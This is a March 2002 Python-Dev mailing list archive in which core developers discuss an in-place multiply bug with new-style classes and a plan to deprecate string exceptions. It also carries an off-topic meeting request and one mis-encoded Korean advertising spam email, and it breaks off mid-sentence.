From: jmiller@stsci.edu (Todd Miller)
Date: Wed, 27 Mar 2002 13:34:17 -0500
Subject: [Python-Dev] In-place multiply and new style classes
Message-ID: <3CA210A9.8010409@stsci.edu>

Hi,

I'm Todd Miller and I work at the Space Telescope Science Institute on 
Numarray.  
Numarray is STSCI's stab at improving Numeric.  This is my first post here.

Today one of the guys in my branch  noticed that Numarray's in-place 
multiply was
raising this bizarre exception:

--> a = ones ((5,), Float32)
--> a
array([1., 1., 1., 1., 1.], type=Float32)
--> a *= 62.
Traceback (innermost last):
  File "<console>", line 1, in ?
TypeError: can't multiply sequence to non-int


I looked into this for a couple hours and discovered the following:

class test1(object):
    """A new-style class"""
    def __init__(self):
        pass

    def __imul__(self, other):
        print "no luck here!"

>>> t1 = test1()
>>> t1 *= 62.
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: can't multiply sequence to non-int



Todd


-- 
Todd Miller 			jmiller@stsci.edu
STSCI / SSG			(410) 338 4576




From martin@v.loewis.de  Wed Mar 27 18:43:32 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 19:43:32 +0100
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <3CA2034C.BC70441D@prescod.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
Message-ID: <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>

Paul Prescod <paul@prescod.net> writes:

> Should it be arbitrary objects or just subclasses of exception: "It is
> recommended that user-defined exceptions in new code be derived from
> Exception, although for backward compatibility reasons, this is not
> required. Eventually this rule will be tightened."

If that is the rule, the bug report can be closed as "not-a-bug".

Regards,
Martin


From martin@v.loewis.de  Wed Mar 27 19:07:57 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 20:07:57 +0100
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m31ye5q16a.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > http://python.org/sf/518846 reports that new-style classes cannot be
> > used as exceptions. I think it is desirable that this is fixed, but I
> > also believe that it conflicts with string exceptions.
> 
> Can you explain this conflict?  Couldn't this be worked around by
> making an exception for strings?

Currently, if you write

try:
  raise "Hallo"
except str:
  pass

the exception will pass through. If "new-style classes" (aka types)
are allowed, then the string /should/ be caught.

> I think string exceptions are used enough that we should deprecate
> them on a slower schedule.

If you follow Paul's rationale (exceptions should inherit from
Exception), then the bug report could be closed, and no action would
be needed until Exception becomes a type.

Regards,
Martin


From barry@zope.com  Wed Mar 27 19:14:22 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 27 Mar 2002 14:14:22 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15522.6670.659176.160139@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    >> So I would like to propose that string exceptions are
    >> deprecated for Python 2.3, in order to remove them in Python
    >> 2.4, simultaneously allowing arbitrary objects as exceptions.

    GvR> I think string exceptions are used enough that we should
    GvR> deprecate them on a slower schedule.

Is there any controversy that string exceptions should, eventually, be
deprecated?  If not, then let's come up with a road map for
deprecating them, even if their use doesn't raise a deprecation
warning in Python 2.3.

-Barry


From martin@v.loewis.de  Wed Mar 27 19:15:56 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 20:15:56 +0100
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203271810.g2RIAVt26251@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <200203271810.g2RIAVt26251@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3wuvxom8j.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> Can we safely make Exception (and hence all built-in exceptions) a
> new-style class?  This could break user code (even when we don't
> enforce that exceptions are derived from Exception).

I see no need to make such a change, with this change alone, I can't
see risks for breaking code, either.

If you would also make Exception.args a slot, there would be a
rationale (efficiency), but you would also more likely break user
code.

Regards,
Martin



From barry@zope.com  Wed Mar 27 19:15:42 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Wed, 27 Mar 2002 14:15:42 -0500
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <200203271810.g2RIAVt26251@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15522.6750.245549.969766@anthem.wooz.org>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> Can we safely make Exception (and hence all built-in
    GvR> exceptions) a new-style class?  This could break user code
    GvR> (even when we don't enforce that exceptions are derived from
    GvR> Exception).

What's the advantage of making Exception a new-style class?  Isn't
that a separate issue from whether 1) we deprecate string exceptions,
2) whether we enforce exceptions to inherit from Exception?

-Barry


From pedroni@inf.ethz.ch  Wed Mar 27 19:29:23 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Wed, 27 Mar 2002 20:29:23 +0100
Subject: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de><3CA2034C.BC70441D@prescod.net><200203271810.g2RIAVt26251@pcp742651pcs.reston01.va.comcast.net> <m3wuvxom8j.fsf@mira.informatik.hu-berlin.de>
Message-ID: <003c01c1d5c5$b3820200$f2bb03d5@newmexico>

Guido van Rossum <guido@python.org> writes:
> Can we safely make Exception (and hence all built-in exceptions) a
> new-style class?  This could break user code (even when we don't
> enforce that exceptions are derived from Exception).

For issues related to needing vs not-needing to dynamically
create Java classes and corresponding security restrictions,
it would be user-friendlier if Exception on Jython side 
would remain a classic-style class.
We can give more input when we have sorted
out the implementation  of new-style classes subclassing
(that's many month away :( ). Maybe the issues
will become non-issues or not. 

regards.



From martin@v.loewis.de  Wed Mar 27 19:18:43 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 20:18:43 +0100
Subject: [Python-Dev] In-place multiply and new style classes
In-Reply-To: <3CA210A9.8010409@stsci.edu>
References: <3CA210A9.8010409@stsci.edu>
Message-ID: <m3sn6lom3w.fsf@mira.informatik.hu-berlin.de>

Todd Miller <jmiller@stsci.edu> writes:

> TypeError: can't multiply sequence to non-int

It seems that this has been fixed in the CVS.

Regards,
Martin


From guido@python.org  Wed Mar 27 20:30:12 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 15:30:12 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "27 Mar 2002 19:43:32 +0100."
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>

> Paul Prescod <paul@prescod.net> writes:
> 
> > Should it be arbitrary objects or just subclasses of exception: "It is
> > recommended that user-defined exceptions in new code be derived from
> > Exception, although for backward compatibility reasons, this is not
> > required. Eventually this rule will be tightened."

[Martin]
> If that is the rule, the bug report can be closed as "not-a-bug".

I seem to have a particularly dense day. :-(

What does "that" (in "If that is the rule") refer back to?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Mar 27 20:56:48 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 15:56:48 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "27 Mar 2002 20:07:57 +0100."
 <m31ye5q16a.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <m31ye5q16a.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203272056.g2RKumd28910@pcp742651pcs.reston01.va.comcast.net>

> > > http://python.org/sf/518846 reports that new-style classes cannot be
> > > used as exceptions. I think it is desirable that this is fixed, but I
> > > also believe that it conflicts with string exceptions.
> > 
> > Can you explain this conflict?  Couldn't this be worked around by
> > making an exception for strings?
> 
> Currently, if you write
> 
> try:
>   raise "Hallo"
> except str:
>   pass
> 
> the exception will pass through. If "new-style classes" (aka types)
> are allowed, then the string /should/ be caught.

Gotcha.  But I could easily accept a bw compatibility rule that says
you can't have a subclass of str (that's not also a subclass of
Exception) in the except clause until string exceptions have been
removed from the language.  All of this is irrelevant though, because...

> > I think string exceptions are used enough that we should deprecate
> > them on a slower schedule.
> 
> If you follow Paul's rationale (exceptions should inherit from
> Exception), then the bug report could be closed, and no action would
> be needed until Exception becomes a type.

Fair enough; go ahead and close the bug.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Mar 27 21:05:07 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 16:05:07 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 20:29:23 +0100."
 <003c01c1d5c5$b3820200$f2bb03d5@newmexico>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de><3CA2034C.BC70441D@prescod.net><200203271810.g2RIAVt26251@pcp742651pcs.reston01.va.comcast.net> <m3wuvxom8j.fsf@mira.informatik.hu-berlin.de>
 <003c01c1d5c5$b3820200$f2bb03d5@newmexico>
Message-ID: <200203272105.g2RL57328999@pcp742651pcs.reston01.va.comcast.net>

[Samuele]
> For issues related to needing vs not-needing to dynamically
> create Java classes and corresponding security restrictions,
> it would be user-friendlier if Exception on Jython side 
> would remain a classic-style class.
> We can give more input when we have sorted
> out the implementation  of new-style classes subclassing
> (that's many month away :( ). Maybe the issues
> will become non-issues or not. 

Good point.  We'll be cautious.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Mar 27 21:08:14 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 16:08:14 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 14:14:22 EST."
 <15522.6670.659176.160139@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
Message-ID: <200203272108.g2RL8Ea29022@pcp742651pcs.reston01.va.comcast.net>

> Is there any controversy that string exceptions should, eventually, be
> deprecated?  If not, then let's come up with a road map for
> deprecating them, even if their use doesn't raise a deprecation
> warning in Python 2.3.

Good point.  I do want to start deprecating them, but slowly because
they're used so much.  Maybe you can draft a brief PEP?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From jmiller@stsci.edu  Wed Mar 27 21:05:02 2002
From: jmiller@stsci.edu (Todd Miller)
Date: Wed, 27 Mar 2002 16:05:02 -0500
Subject: [Python-Dev] In-place multiply and new style classes
References: <3CA210A9.8010409@stsci.edu> <m3sn6lom3w.fsf@mira.informatik.hu-berlin.de>
Message-ID: <3CA233FE.5070806@stsci.edu>

  Martin v. Loewis wrote:

>Todd Miller <jmiller@stsci.edu> <mailto:jmiller@stsci.edu> writes:
>
>>TypeError: can't multiply sequence to non-int
>>
>
>It seems that this has been fixed in the CVS.
>
>Regards,
>Martin
>
I updated to the head and I still get:

>
class test1(object):
    def __init__(self):
        pass

    def __imul__(self, other):
        print "no luck here!"

Python 2.3a0 (#3, Mar 27 2002, 15:27:32)
[GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
Type "help", "copyright", "credits" or "license" for more information.

 >>> t = test1()

 >>> t *= 1
no luck here!

 >>> t *= 1.
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unsupported operand type(s) for *=: 'NoneType' and 'float'

The latter is still a problem for me because Numarray needs to implement
both sequence and number protocols, and wants the number protocol to
dominate *=.  What I think I see happening in both cases is the sequence
protocol executing.   Sorry if this is an old issue...

Todd

-- 
Todd Miller 			jmiller@stsci.edu <mailto:jmiller@stsci.edu>
STSCI / SSG			(410) 338 4576






From skip@pobox.com  Wed Mar 27 21:09:03 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 27 Mar 2002 15:09:03 -0600
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <15522.6670.659176.160139@anthem.wooz.org>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net>
 <15522.6670.659176.160139@anthem.wooz.org>
Message-ID: <15522.13551.578919.724191@beluga.mojam.com>

    GvR> I think string exceptions are used enough that we should deprecate
    GvR> them on a slower schedule.

    BAW> Is there any controversy that string exceptions should, eventually,
    BAW> be deprecated?

Taking a quick peek at my own code, the only place I see that strings are
raised is in code that works with ZServer (e.g. "raise 'redirect'").  I was
not speedy to get rid of string exceptions in my own code, but except for
external compatibility, I think they are all gone now.  Does Zope (clearly
the 800-pound gorilla in most backward compatibility discussions) still use
them heavily?

Skip



From guido@python.org  Wed Mar 27 21:22:57 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 16:22:57 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "Wed, 27 Mar 2002 15:09:03 CST."
 <15522.13551.578919.724191@beluga.mojam.com>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <200203271808.g2RI8Q026235@pcp742651pcs.reston01.va.comcast.net> <15522.6670.659176.160139@anthem.wooz.org>
 <15522.13551.578919.724191@beluga.mojam.com>
Message-ID: <200203272122.g2RLMvF29195@pcp742651pcs.reston01.va.comcast.net>

> Taking a quick peek at my own code, the only place I see that strings are
> raised is in code that works with ZServer (e.g. "raise 'redirect'").  I was
> not speedy to get rid of string exceptions in my own code, but except for
> external compatibility, I think they are all gone now.  Does Zope (clearly
> the 800-pound gorilla in most backward compatibility discussions) still use
> them heavily?

Zope 2 uses them heavily.  But I doubt it will ever need Python 2.4;
more likely, it will settle on Python 2.1.3 (if/when that is
released).

In Zope 3, string exceptions are officially out of grace.  (I don't
know if there are any left, but if so, they will be removed soon
enough.)


--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Wed Mar 27 21:36:34 2002
From: skip@pobox.com (Skip Montanaro)
Date: Wed, 27 Mar 2002 15:36:34 -0600
Subject: [Python-Dev] OT: Looking for a couple panelists for a meeting in late May
Message-ID: <15522.15202.927730.773009@beluga.mojam.com>

(private replies to skip@pobox.com, please)

Please forgive the off-topic post.  I am helping to organize (read: sort of
got roped into) the May Technology Executives Roundtable here in Evanston,
Illinois.  The May 28th TER meeting is scheduled to have a panel discussion
on "Profiting from Open Source Software".  I have lined up one panelist, Rob
Page, CEO and co-founder of Zope, but a couple other possibilities have
fallen through.  I am looking for two or three more people to be on the
panel.  They need not be from the Python community.

Meetings typically run from about 6pm to 9pm, begin with a half hour of
networking, followed by brief presentations from the panelists, the usual
rubber chicken dinner, then Q&A from the floor.  Attendance is usually in
the 50-person range, split pretty evenly between techies and business types.

If you or someone you know with substantial experience building a business
based on open source software (whatever definition of that loaded phrase you
care to use) are or will be in the Chicago area on or about the 28th, please
let me know or pass this note along.  For general info about TER, visit
their website at <http://www.ter1.com/>.

Thanks,

Skip


From mall@kornet.net  Wed Mar 27 22:39:21 2002
From: mall@kornet.net (¸ô¸¶½ºÅ¸)
Date: Thu, 28 Mar 2002 07:39:21 +0900
Subject: [Python-Dev] (python-dev´Ô) µðÁöŻī¸Þ¶ó & ½ºÄ³³Ê Á¤º¸.(È«^º¸)
Message-ID: <E16qLfm-0002qd-00@mail.python.org>

<style>
 <!--
 small {font-size:8pt;font-family:±¼¸²}
    font,td,p {font-size: 9pt;text-decoration: none;font-family:±¼¸²}

 <!--
 A:link, A:active, A:visited {color:"#000000"; font-size:7pt; text-decoration: none}
    A:hover {text-decoration:none; color:"#666600"}
    .notice {font-size:10pt; color:black; text-decoration: none}
    a.01 {color:#7F7F7F; text-decoration:none}
    a.01:visited {color:#7F7F7F; text-decoration:none}
    a.01:hover {color:#4A4A4A; text-decoration:underline}
 -->
  </style>
<base href="C:\Documents and Settings\Administrator\¹ÙÅÁ È­¸é\"></head>

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">

<p>&nbsp; 
<table border="0" cellpadding="0" cellspacing="0" width="540" height="504" background="http://www.umaxmall.co.kr/shop/mail/mail_1/44.gif">
    <tr>
        <td width="540" height="23" colspan="10"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="19"><p>&nbsp;</p></td>
        <td width="108" height="19" colspan="2"><p align="left"><font size="1">&nbsp;&nbsp;</font></p></td>
        <td width="108" height="19" colspan="2"><p align="left"><font size="1"></font>&nbsp;</p></td>
        <td width="108" height="19" colspan="2"><p align="left">&nbsp;</p></td>
        <td width="109" height="19" colspan="2"><p align="center"><font size="1"></font>&nbsp;</p></td>
        <td width="53" height="19"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="19"><p>&nbsp;</p></td>
        <td width="108" height="19" colspan="2"><p align="left"><font size="1"></font>&nbsp;</p></td>
        <td width="108" height="19" colspan="2"><p align="left"><font size="1"></font>&nbsp;</p></td>
        <td width="108" height="19" colspan="2"><p align="left"><font size="1"></font>&nbsp;</p></td>
        <td width="109" height="19" colspan="2"><p align="center"><font size="1"></font>&nbsp;</p></td>
        <td width="53" height="19"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="41" height="42"><p>&nbsp;</p></td>
        <td width="67" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="55" height="42"><p>&nbsp;</p></td>
        <td width="53" height="42"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="41" height="42"><p>&nbsp;</p></td>
        <td width="67" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="55" height="42"><p>&nbsp;</p></td>
        <td width="53" height="42"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="41" height="42"><p>&nbsp;</p></td>
        <td width="67" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="55" height="42"><p>&nbsp;</p></td>
        <td width="53" height="42"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="41" height="42"><p>&nbsp;</p></td>
        <td width="67" height="42"><p>&nbsp;</p></td>
        <td width="54" height="42"><p>&nbsp;</p></td>
        <td width="55" height="42"><p>&nbsp;</p></td>
        <td width="53" height="42"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="36"><p>&nbsp;</p></td>
        <td width="54" height="36"><p>&nbsp;</p></td>
        <td width="54" height="36"><p>&nbsp;</p></td>
        <td width="54" height="36"><p>&nbsp;</p></td>
        <td width="54" height="36"><p>&nbsp;</p></td>
        <td width="41" height="36"><p>&nbsp;</p></td>
        <td width="67" height="36"><p>&nbsp;</p></td>
        <td width="54" height="36"><p>&nbsp;</p></td>
        <td width="55" height="36"><p>&nbsp;</p></td>
        <td width="53" height="36"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="29"><p>&nbsp;</p></td>
        <td width="54" height="29"><p>&nbsp;</p></td>
        <td width="54" height="29"><p>&nbsp;</p></td>
        <td width="54" height="29"><p>&nbsp;</p></td>
        <td width="54" height="29"><p>&nbsp;</p></td>
        <td width="41" height="29"><p>&nbsp;</p></td>
        <td width="67" height="29"><p>&nbsp;</p></td>
        <td width="54" height="29"><p>&nbsp;</p></td>
        <td width="55" height="29"><p>&nbsp;</p></td>
        <td width="53" height="29"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="31"><p>&nbsp;</p></td>
        <td width="54" height="31" rowspan="2" colspan="4"><p><img src="http://www.umaxmall.co.kr/shop/mail/mail_1/sale_2.GIF"
             width="216" height="60" border="0"></p></td>
        <td width="41" height="31"><p>&nbsp;</p></td>
        <td width="67" height="31"><p>&nbsp;</p></td>
        <td width="54" height="31"><p>&nbsp;</p></td>
        <td width="55" height="31"><p>&nbsp;</p></td>
        <td width="53" height="31"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="31"><p>&nbsp;</p></td>
        <td width="41" height="31"><p>&nbsp;</p></td>
        <td width="67" height="31"><p>&nbsp;</p></td>
        <td width="54" height="31"><p>&nbsp;</p></td>
        <td width="55" height="31"><p>&nbsp;</p></td>
        <td width="53" height="31"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="54" height="47"><p>&nbsp;</p></td>
        <td height="47"><p>&nbsp;</p></td>
        <td height="47"><p>&nbsp;</p></td>
        <td height="47"><p>&nbsp;</p></td>
        <td height="47"><p>&nbsp;</p></td>
        <td width="41" height="47"><p>&nbsp;</p></td>
        <td width="229" height="85" rowspan="2" colspan="4"><p><a href="http://www.umaxmall.co.kr"><img src="http://www.umaxmall.co.kr/shop/mail/mail_1/right.gif" width="229" height="81" border="0"></a></p></td>
    </tr>
    <tr>
        <td width="54" height="38"><p>&nbsp;</p></td>
        <td height="38"></td>
        <td height="38"></td>
        <td height="38"></td>
        <td height="38"></td>
        <td width="41" height="38"></td>
    </tr>
    <tr>
        <td width="108" height="52" colspan="2"><p align="center">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<img
                
      src="http://www.umaxmall.co.kr/shop/mail/mail_1/im_stamp.gif" 
      width="45" height="45" border="0"></p></td>
        <td width="379" height="52" colspan="7"><p align="left" valign="top"><font
             color="black">Çã¶ô¾øÀÌ ¸ÞÀÏÀ» º¸³»¼­ Á˼ÛÇÕ´Ï´Ù. &nbsp;ÀÌ ¸ÞÀÏÀº 
            </font>À¥¼­ÇÎÁß, <b>¹«ÀÛÀ§·Î ÃßÃâÇÑ°ÍÀ̸ç</b> E-Mail ÁÖ¼Ò ¿Ü¿¡, 
            ´Ù¸¥ Á¤º¸´Â °®°í ÀÖÁö ¾Ê½À´Ï´Ù. <font color="black">¸ÞÀÏ ¼ö½ÅÀ» 
            ¿øÄ¡ ¾ÊÀ¸½Ã¸é </font><font color="red"><b><A 
      href="mailto:discorp@kornet.net?subject=¼ö½Å°ÅºÎ&amp;body=´õÀÌ»ópython-dev@python.org·Î ¸ÞÀÏÀ» º¸³»Áö ¸¶¼¼¿ä..">¼ö½Å°ÅºÎ</A></b></font><font
             
      color="black">¸¦ ÇØÁֽʽÿä. ¸¸¾à ºÒÇÊ¿äÇÑ Á¤º¸¿´´Ù¸é »ç°ú µå¸³´Ï´Ù 
            </font></p></td>
        <td width="53" height="52"><p>&nbsp;</p></td>
    </tr>
    <tr>
        <td width="540" height="11" colspan="10"><p>&nbsp;</p></td>
    </tr>
</table></p>
</body>



From martin@v.loewis.de  Wed Mar 27 22:17:02 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 27 Mar 2002 23:17:02 +0100
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m33cylodup.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > Paul Prescod <paul@prescod.net> writes:
> > 
> > > Should it be arbitrary objects or just subclasses of exception: "It is
> > > recommended that user-defined exceptions in new code be derived from
> > > Exception, although for backward compatibility reasons, this is not
> > > required. Eventually this rule will be tightened."
> 
> [Martin]
> > If that is the rule, the bug report can be closed as "not-a-bug".
> 
> I seem to have a particularly dense day. :-(
> 
> What does "that" (in "If that is the rule") refer back to?

"user-defined exceptions be derived from Exception". It is only a
recommendation in the sense that you can use arbitrary classic
classes. If the rule is eventually tightened, it is ok if new-style
classes are not allowed as exceptions right now. An action is only
needed if you pronounce that it is desirable to allow new-style
classes as exceptions - which would necessarily have a base class that
is not derived from Exception.

Regards,
Martin



From pedroni@inf.ethz.ch  Wed Mar 27 22:38:24 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Wed, 27 Mar 2002 23:38:24 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de><3CA2034C.BC70441D@prescod.net><m3d6xpq2az.fsf@mira.informatik.hu-berlin.de><200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de>
Message-ID: <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>

From: Martin v. Loewis <martin@v.loewis.de>
> Guido van Rossum <guido@python.org> writes:
> 
> > 
> > What does "that" (in "If that is the rule") refer back to?
> 
> "user-defined exceptions be derived from Exception". It is only a
> recommendation in the sense that you can use arbitrary classic
> classes. If the rule is eventually tightened, it is ok if new-style
> classes are not allowed as exceptions right now. An action is only
> needed if you pronounce that it is desirable to allow new-style
> classes as exceptions - which would necessarily have a base class that
> is not derived from Exception.
> 

But this is legal in 2.2

>>> class Z(str,Exception):
...  pass
...
>>> Z.__bases__
(<type 'str'>, <class exceptions.Exception at 0x00757700>)
>>> Z.__base__
<type 'str'>

so the issue is more subtle or I'm missing something?

regards.



From martin@v.loewis.de  Wed Mar 27 23:18:29 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 28 Mar 2002 00:18:29 +0100
Subject: R: [Python-Dev] Deprecating string exceptions
In-Reply-To: <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de>
 <3CA2034C.BC70441D@prescod.net>
 <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de>
 <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
 <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico>
Message-ID: <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de>

"Samuele Pedroni" <pedroni@inf.ethz.ch> writes:

> But this is legal in 2.2
> 
> >>> class Z(str,Exception):
> ...  pass
> ...
> >>> Z.__bases__
> (<type 'str'>, <class exceptions.Exception at 0x00757700>)
> >>> Z.__base__
> <type 'str'>
> 
> so the issue is more subtle or I'm missing something?

The issue is more subtle: raising an instance of Z counts as raising a
string, so you cannot catch with with "except Z", but you can catch
it with the identical object.

However, this is not the issue reported in bug #518846: Magnus Heino
does not want to inherit from str, and his class does not inherit from
Exception, either.

Also, I believe that using your class Z as an exception class should
not be supported: a "proper" exception should not just merely inherit
from Exception - it should have Exception as its only root class (Z
has both object and Exception as root classes).

So yes, funny things can happen, but they are all accidental, and may
stop happening without notice.

Regards,
Martin


From guido@python.org  Thu Mar 28 01:06:08 2002
From: guido@python.org (Guido van Rossum)
Date: Wed, 27 Mar 2002 20:06:08 -0500
Subject: [Python-Dev] Deprecating string exceptions
In-Reply-To: Your message of "27 Mar 2002 23:17:02 +0100."
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net>
 <m33cylodup.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203280106.g2S168M30248@pcp742651pcs.reston01.va.comcast.net>

> "user-defined exceptions be derived from Exception". It is only a
> recommendation in the sense that you can use arbitrary classic
> classes. If the rule is eventually tightened, it is ok if new-style
> classes are not allowed as exceptions right now. An action is only
> needed if you pronounce that it is desirable to allow new-style
> classes as exceptions - which would necessarily have a base class
> that is not derived from Exception.

Well, in the long run I would like all classes to be new-style
classes, so at that point at the latest, exceptions will have to
follow.  Long before that moment, I would like to encourage people to
use new-style classes for everything, and that should include
exceptions.  (Also, at some point before the end state, the default
for a class statement would become to create a new-style class rather
than a classic class.)

This is somewhat separate from enforcing the "exceptions must derive
from Exception" rule.  We should start warning about string exceptions
as well as about class exceptions not deriving from Exception soon.
Whether Exception should become a new-style class before, after or at
